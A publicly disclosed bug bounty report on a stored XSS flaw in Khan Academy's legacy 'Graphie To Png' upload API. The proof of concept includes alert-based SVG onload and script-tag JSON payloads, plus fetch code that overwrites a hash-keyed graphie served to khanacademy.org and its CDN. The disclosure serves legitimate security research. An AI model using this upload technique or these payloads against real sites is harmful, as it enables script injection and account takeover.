HexBrain

Khan Academy · Report #2846011

XSS on using the legacy "Graphie To Png" API

Validstatus
criticalseverity
86upvotes
6 Feb 2025disclosed

How it was found

An attacker can can upload malicious graphies via (http://graphie-to-png.kasandbox.org/) and (http://graphie-to-png.khanacademy.systems/) that exploit the graphie renderer. The attack targets any page that has a graphie (khanacademy.org!!), as well as cdn.kastatic.org and ka-perseus-graphie.s3.amazonaws.com

Proof of concept

Step 1: Uploading a malicious graphie

consider the following example where https://ka-perseus-graphie.s3.amazonaws.com/2122427aa8dc4ef2a59058bc1a7a934ba6ca6747.svg is used in an article, we will override it by uploading the same JS but with malicious SVG and JSON data (because the hash is a hash of the JS).

  1. Malicious SVG: The SVG is modified to include a malicious onload attribute.
<svg ... onload="alert('SIKN')">...</svg>
  1. Malicious JSON: A label is modified with typesetAsMath: false, causing the graphie renderer to inject our code to DOM. This is what will target khanacademy.org
{
	"labels": [
		{
			"content": "<script>alert('SIKN')</script>",
			"typesetAsMath": false,
			...
		},
		...
	],
	...
}
var form = new FormData();
form.append("js", ORIGINAL_JS);
form.append("svg", XSS_SVG);
form.append("other_data", JSON.stringify(XSS_JSON));

await fetch("http://graphie-to-png.kasandbox.org/svg", {
    "method": "POST",
    "body": form
}).then(r=>r.text())

Step 2: Wait patiently

Wait until cdn.kastatic.org updates its cache, for this example I had already prepared it by not caching the original graphie (https://cdn.kastatic.org/ka-perseus-graphie/2122427aa8dc4ef2a59058bc1a7a934ba6ca6747.svg)

As for the malicious JSON, using the devtools override feature to simulate an attack shows that it works: {F3766148}

Impact

XSS on pages that use graphies, potentially leading to account takeovers.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original